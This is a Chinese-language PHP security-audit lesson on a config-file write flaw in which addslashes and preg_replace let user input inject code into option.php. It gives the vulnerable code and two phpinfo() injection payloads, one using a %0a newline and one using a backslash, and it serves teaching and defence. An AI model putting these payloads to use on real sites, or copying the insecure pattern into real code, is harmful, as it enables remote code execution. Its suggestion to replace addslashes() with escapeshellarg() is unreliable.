【代码小审计 PHP篇】Challenge 2
字数 1088 2025-08-18 11:36:57
PHP代码审计教学:Challenge 2 - 配置文件写入漏洞分析
漏洞背景
本案例展示了一个典型的配置文件写入漏洞,通过不安全的正则替换操作导致任意代码执行。这种漏洞常见于需要动态更新配置文件的场景中。
漏洞代码分析
原始代码
// index.php
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*?\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
// xxxxx/option.php
<?php
$option='test';
代码功能解析
- 从GET参数
option获取用户输入 - 使用
addslashes()对输入进行转义处理 - 读取
option.php文件内容 - 使用
preg_replace()进行正则替换,将原配置文件中的$option='...'替换为新的值 - 将修改后的内容写回
option.php
漏洞原理
正则表达式分析
正则模式|\$option=\'.*?\';|匹配$option='...'这样的字符串,其中:
.*?表示非贪婪匹配任意字符- 单引号被转义匹配
替换操作的问题
替换字符串是硬编码的"\$option='$str';",其中$str是用户可控的输入。虽然使用了addslashes()进行转义,但在特定情况下仍可绕过。
漏洞利用方法
方法一:利用换行符注入
-
第一次请求:
?option=aaa';%0aphpinfo();//- 经过
addslashes()后变为:aaa\';%0aphpinfo();// - 替换后文件内容:
<?php $option='aaa\'; phpinfo();//';
- 经过
-
第二次请求:
?option=xxx- 替换
aaa\为xxx,文件变为:<?php $option='xxx';phpinfo();//';
- 替换
-
访问
/xxxxx/option.php执行phpinfo()
方法二:利用反斜杠转义
-
请求:
?option=aaa\';phpinfo();//- 经过
addslashes()后变为:aaa\\\';phpinfo();// - 替换后文件内容:
<?php $option='aaa\\';phpinfo();//';
- 经过
-
访问
/xxxxx/option.php执行phpinfo()
漏洞修复建议
- 严格验证输入:对
option参数进行严格的白名单验证 - 避免动态代码生成:考虑使用JSON或INI格式的配置文件
- 使用安全函数:如
escapeshellarg()替代addslashes() - 限制文件权限:确保配置文件目录不可直接访问
- 使用完整正则匹配:确保替换不会破坏文件结构
学习要点
addslashes()的局限性:不能完全防止代码注入- 正则替换的安全隐患:动态构建正则替换字符串的危险性
- 配置文件写入的常见漏洞模式
- 换行符(
%0a)在代码注入中的作用 - 反斜杠转义的特殊处理
扩展思考
- 如果配置文件使用双引号而非单引号,漏洞利用方式会有何变化?
- 如何设计安全的配置文件更新机制?
- 除了PHP代码注入,这类漏洞还可能导致哪些安全问题?
此案例展示了即使是简单的配置文件更新功能,如果实现不当也可能导致严重的安全问题,强调了输入验证和安全编码的重要性。